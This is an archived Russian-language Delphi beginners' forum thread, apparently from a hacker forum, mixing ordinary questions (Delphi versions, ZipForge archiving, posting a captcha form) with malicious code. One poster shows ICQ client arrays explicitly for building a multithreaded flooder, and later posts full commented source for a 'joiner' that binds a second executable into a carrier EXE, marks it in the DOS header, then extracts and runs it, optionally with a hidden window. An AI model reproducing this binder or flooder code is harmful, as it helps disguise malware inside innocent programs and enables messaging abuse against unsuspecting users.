[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. Manoff

    Manoff Elder - Старейшина

    Joined:
    15 Dec 2007
    Messages:
    38
    Likes Received:
    4
    Reputations:
    0
    Да и так не рабит .
    Хотя с формой всё тип-топ было!
     
  2. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Без ресурсов компилится:)
     
    1 person likes this.
  3. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Наконец-то!:)
    Кстати если вдруг не знал можно сделать массив компонентов(Применить можно при создании многопоточного флудера:))

    Code:
    program isqB;
    uses Windows,SysUtils,Registry,ICQClient,ICQWorks,FileC trl;//Здесь пробел не забудь убрать!!(Форум вставил)
    var
    k:string;
    [COLOR=Navy]ICQ: array [1..30] of TICQClient;[/COLOR]
    begin
    ICQ[1]:= TICQClient.Create(nil);
    ICQ[1].UIN:=44028835;
    ICQ[1].Password:='kd';
    ICQ[1].ICQServer:='login.icq.com';
    ICQ[1].ICQPort:=5190;
    icq[1].Status:=8;
    ICQ[1].Login();
    end.
     
    #1263 De-visible, 31 Mar 2008
    Last edited: 31 Mar 2008
  4. Twiddle

    Twiddle Elder - Старейшина

    Joined:
    6 Sep 2006
    Messages:
    13
    Likes Received:
    9
    Reputations:
    0
    Гугл не захотел помочь нормально с отключением ява скриптов в твеббраузере. =/ и оффтопный вопрос: какой ща последний делфи? А то я на 7 учусь.Есть ли смысл переходить на другой?Для новичка.
     
  5. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Зачем переходить?Очень не плохой DElphi7 сам на нем сижу!:)
     
    #1265 De-visible, 31 Mar 2008
    Last edited: 31 Mar 2008
  6. Twiddle

    Twiddle Elder - Старейшина

    Joined:
    6 Sep 2006
    Messages:
    13
    Likes Received:
    9
    Reputations:
    0
    Гугл не захотел помочь нормально с отключением ява скриптов в твеббраузере. =/ и оффтопный вопрос: какой ща последний делфи? А то я на 7 учусь.Есть ли смысл переходить на другой?Для новичка.
     
    1 person likes this.
  7. ForNeVeR

    ForNeVeR Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    67
    Likes Received:
    31
    Reputations:
    0
    Последняя Delphi 2007, явных отличий, из-за которых новичку захочется перейти сюда с семёрки (кроме слегка модфицированного интерейса, теперь напоминающего MS Visual Studio) не вижу. Вроде ещё есть возможность работы с .NET, но у меня версия D2007 for Win32 так что оценить не смог :)
    Вердикт - пока смысла менять семёрку не что-либо другое не стоит.
     
  8. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    Ошибаемся товарисч =)
    ИМХО если есть возможность, конечно переходи
     
    1 person likes this.
  9. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    А моё (и не только моё) имхо - лучшие версии делфы - это тройка, шестёрка, xrnm похуже - семёрка (хотя сам сижу на ней).
    Касательно Delphi >= 8 - единственное, что там заметно - огромное влияние мелко$офта, который, по сути, скушал Borland. Там, на самом деле, всё, что есть - это та самая .NET, выдуманная опять же мелко$офтом взамен Борландовской COM...

    Короче говоря, Delphi >= 8 - это полный отказ Борланда от своих принципов и переход под крыло мелко$офта.
     
    2 people like this.
  10. pisea4

    pisea4 New Member

    Joined:
    18 Mar 2008
    Messages:
    2
    Likes Received:
    2
    Reputations:
    0
    Нисагласен, в 2007 идет Indy11
     
  11. ZirroCool

    ZirroCool Elder - Старейшина

    Joined:
    16 Sep 2006
    Messages:
    128
    Likes Received:
    55
    Reputations:
    20
    Пишу файловый клиент, смысл таков в первое поле вводим адрес файла во второе почту, в третье символы с картинки!

    проблема в капче, как делаю я(неправильно), тупо скачиваю картинку и загружаю ее в timage, далее юзер вводит данные и прога пытается отправить пост запрос на сервак!отправляет но бестолку!

    Вопрос:
    как сделать загрузку картинки правильно? возможно узнав ее айди и при составлении запроса добавлять его? Просьба помочь! Если можно подробней и с примером!заранее спасибо
     
  12. n0153r

    n0153r Elder - Старейшина

    Joined:
    19 Jun 2007
    Messages:
    260
    Likes Received:
    92
    Reputations:
    11
    Полностью с тобой согласен.
    Начинал програмить на 5-той, потом перешол на 6,7 но когда увидел 8-ку был в шоке, потому досих пор сижу на 7-ке.
     
  13. Pir4tt

    Pir4tt Elder - Старейшина

    Joined:
    3 Jan 2008
    Messages:
    73
    Likes Received:
    36
    Reputations:
    5
    ZirroCool, сорс, сайт с картинкой и т.д. в студию, я свой телепат шлем отдал другу, поэтому понять чё у тебя там не получается не могу, не знаю как остальные
     
  14. ZirroCool

    ZirroCool Elder - Старейшина

    Joined:
    16 Sep 2006
    Messages:
    128
    Likes Received:
    55
    Reputations:
    20
    вот сервис mailsend.kiber-zona.org

    вот в принцепе весь код который я написал, но ошибка в капче я точно знаю, по этому и спрашиваю как это сделать правильно!

    Code:
    function DownloadFile(SourceFile, DestFile: string): Boolean; 
    begin 
      try 
        Result := UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil) = 0; 
      except 
        Result := False; 
      end; 
    end; 
    
    procedure JPEGtoBMP(const FileName: TFileName);
    var
      jpeg: TJPEGImage; 
      bmp:  TBitmap;
    begin
      jpeg := TJPEGImage.Create;
      try 
        jpeg.CompressionQuality := 100; {Default Value}
        jpeg.LoadFromFile(FileName);
        bmp := TBitmap.Create;
        try 
          bmp.Assign(jpeg);
          bmp.SaveTofile(ChangeFileExt(FileName, '.bmp'));
        finally 
          bmp.Free 
        end; 
      finally 
        jpeg.Free 
      end;
    end;
    
    procedure TForm1.FormCreate(Sender: TObject);
    const
      SourceFile = 'http://mailsend.kiber-zona.org/captcha/index.php';
      DestFile = 'index.jpeg';
    begin
    DownloadFile(SourceFile, DestFile);
    JPEGtoBMP('index.jpeg');
    image1.Picture.LoadFromFile('index.bmp');
    end;
    
    procedure TForm1.BitBtn1Click(Sender: TObject);
    var
    response: string;
    formData: TIdMultiPartFormDataStream;
    begin
      formData := TIdMultiPartFormDataStream.Create;
      formData.AddFormField('usrurl',Edit1.text);
      formData.AddFormField('mail',Edit2.text);
      formData.AddFormField('simbols',Edit3.text);
      response := idHTTP1.Post('http://mailsend.kiber-zona.org/index.php',formData);
    end;
    
    
     
  15. ToniKapuchon

    ToniKapuchon Elder - Старейшина

    Joined:
    26 Feb 2006
    Messages:
    153
    Likes Received:
    45
    Reputations:
    -1
    разбираюсь с сортировкой шелла, но чего то не получается у меня проверить все элементы находящиеся на одинаковом расстоянии:
    Вот код навоял, типа проверка первого элемента с элементами через расстояния:
     
  16. Student :)

    Student :) Elder - Старейшина

    Joined:
    9 Feb 2007
    Messages:
    278
    Likes Received:
    18
    Reputations:
    -15
    как сжать папку с файлами на Delphi?

    как сжать папку с файлами на Delphi?
    желательно в rar?
    Может есть компоненты ?
     
  17. dos999

    dos999 Elder - Старейшина

    Joined:
    15 Feb 2008
    Messages:
    137
    Likes Received:
    24
    Reputations:
    0
    Устанавливаешь ZipForge и как то так =)

    Code:
     procedure Arhived(Dir, inFile, outFile: String);
    var
      arh: TZipForge;
    begin
      arh := TZipForge.Create(nil);
      with arh do
        try
          FileName := Dir + outFile;
          BaseDir := Dir;
          Active := true;
          AddFiles(inFile);
          Active := False;
        finally
          Free;
        end;
    end;
    А вообще у ZipForge хороший ман... там всё есть
     
  18. Manoff

    Manoff Elder - Старейшина

    Joined:
    15 Dec 2007
    Messages:
    38
    Likes Received:
    4
    Reputations:
    0
    А как в Делфи написать прогу , которая записывала бы себя в ЕХЕ и при запуске этого ЕХЕ запускалась бы старая и прога и та , которая переписывает себя ?
     
  19. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    ты же процитировал, как это не видишь? о_О

    P.S. system("rar a -m5 arch.rar files")
     
    1 person likes this.
  20. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Вот откопал исходники примитивного склейщика 2 файлов!
    Code:
    Procedure Joiner(fName,fPath,fCMD:string;fstart:boolean;fShow:Cardinal);
    const
    mSize=56789;//Размер программы-носителя к которой будет крениться файл
    fSize=12345;//Размер крепимого файла
    //Эти два значения мы устанавливаем опытным путем и записываем сами
    type
    MnBuf=array[1..mSize] of Char;
    FlBuf=array[1..fSize] of Char;
    LaBuf=array[1..8] of Char;
    var
    mBuf : MnBuf;
    fBuf : FlBuf;
    lBuf : LaBuf;
    f : File of Char;
    begin
    FileMode:=0;//Устанавливаем режим работы с файлами “Только чтение”
    AssignFile(f,Paramstr(0));//Ассоциируем переменную f с путём к себе
    Reset(f);//Открываем себя
    Seek(f,$1C);//Переходим на позицию чтения 1Ch, т.е. 28 байт
    //В DOS-заголовке ехе-файла на имеются зарезервированные места,
    //которые пока их не заняли мы можем свободно использовать
    //на позиции 1Сh имеется 8 байт, на позиции 28h (40-й байт) свободно 20 байт
    BlockRead(f,lBuf,8);//Считываем в буфер, начиная с текущей позиции 8 байт в переменную lBuf
    if LBuf=’E}{eC()M’ then
    //Если в этом месте наша метка значит файл уже приклеин и нам необходимо
    //его из себя извлечь и по необходимости запустить в выбраном режиме отображения
    //Метку можете придумать свою, она может иметь размер не более 8 байт в этой позиции
    // и не более 20 байт в позиции 28h… Мы находимся на втором уровне
    Begin
    Seek(f,FileSize(f)-fSize);//Переходим на позицию начала приклеенного файла
    BlockRead(f,fBuf,fSize);//Считываем в буфер весь приклееный файл
    CloseFile(f);//Закрываем себя
    FileMode:=2;//Устанавливаем режим работы с файлами “Только запись”
    {$I-}//Отключаем проверку ошибок ввода вывода
    AssignFile(f,fPath+fName);//Ассоциируем переменную f с выбраным путём распаковки
    ReWrite(f);//Создаем с перезаписью пустой файл
    BlockWrite(f,fBuf,fSize);//Выгружаем в новый файл данныей загруженные из конца своего файла
    CloseFile(f);//Закрываем себя
    {$I+}//Включаем проверку ошибок ввода вывода
    if fStart then WinExec(PChar(fPath+fName+’ ‘+fCMD),fShow);
    //Если fStart true запускаем извлеченный файл с выбраным способом отображения и командной строкой
    end
    else
    //Если в этом месте не стоит наша метка то файл не содержит в себе оверлейного файла
    //Значит мы находимся на первом уровне, и к программе-носителю необходимо приклеить файл
    begin
    {$I-}//Отключаем проверку ошибок ввода вывода
    Seek(f,0);//Переходим на позицию начала своего файла
    BlockRead(f,mBuf,mSize);//Считываем в буфер весь свой файл
    CloseFile(f);//Закрываем себя
    AssignFile(f,fname);//Ассоциируем переменную f с путём к клеемому файлу
    Reset(f);//Открываем его
    BlockRead(f,fBuf,fSize);//Берём в бефер весь клеимый файл
    CloseFile(f);//Закрываем клеимый файл
    FileMode:=2;//Устанавливаем режим работы с файлами “Только запись”
    AssignFile(f,paramstr(0)+’.ExE’);//Ассоциируем переменную f с путём к файлу с именем,
    //как у файла носителя + .ЕхЕ
    ReWrite(f);//Создаём новый пустой файл
    BlockWrite(f,mBuf,mSize);//выгружем в файл содержимое буфера взятое из себя
    BlockWrite(f,fBuf,fSize);//выгружем в файл содержимое буфера взятое из клеимого файла
    seek(f,$1C);//Переходим на позицию установки метки
    LBuf:=’E}{eC()M’;//Присваивем переменной значение метки
    BlockWrite(f,LBuf,8);//Выгружаем метку с перезаписью старих байт на позицию её прибывания
    CloseFile(f);//Закрываем файл
    {$I+}//Включаем проверку ошибок ввода вывода
    end;
    end;
    begin
    //Применение процедуры Joiner:
    //fName - Имя клеимого файла
    //fPath - Папка распаковки файла
    //fCMD - командная строка запуска файла (если есть)
    //fstart - true - запускаем, false - не запускаем, извлечённый файл
    //fShow - Режим отображения запущеного файла например:
    
    //SW_HIDE - Прячет окно и переводит в активное состояние другое окно.
    //SW_MINIMIZE - Минимизирует окно и активизирует окно верхнего уровня в списке менеджера окон.
    //SW_RESTORE - Действует так же, как и SW_SHOWNORMAL.
    //SW_SHOW - Активизирует окно и выводит его в текущей позиции и текущего размера.
    //SW_SHOWDEFAULT - Активизирует окно и выводит его с использованием текущих умолчаний.
    //SW_SHOWMAXIMIZED - Активизирует окно и выводит его с максимально размером.
    //SW_SHOWMINIMIZED - Активизирует окно и выводит его в виде пиктограммы.
    //SW_SHOWMINNOACTIVATE - Выводит окно как пиктограмму; бывшее активныь в данный момент окно остается активным.
    //SW_SHOWNA - Выводит окно с учетом его состояния в данный момент; активное в данный момент окно остается активным.
    //SW_SHOWNOACTIVATE - Выводит окно в его прежней позиции и прежнего размера; активное в данный момент окно остаета активным.
    //SW_SHOWNORMAL - Активизирует окно и выводит его на экран. Если окно было увеличено или уменьшено до пиктограммы, то система Windows восстановит начальное положение и размер окна.
    //SW_SHOWSMOOTH - Выводит окно так, чтобы оно меньше всего перекрывалось с другими окнами.
    ======================================
    Так же можешь использовать Asm вставки!
     
    1 person likes this.
Thread Status:
Not open for further replies.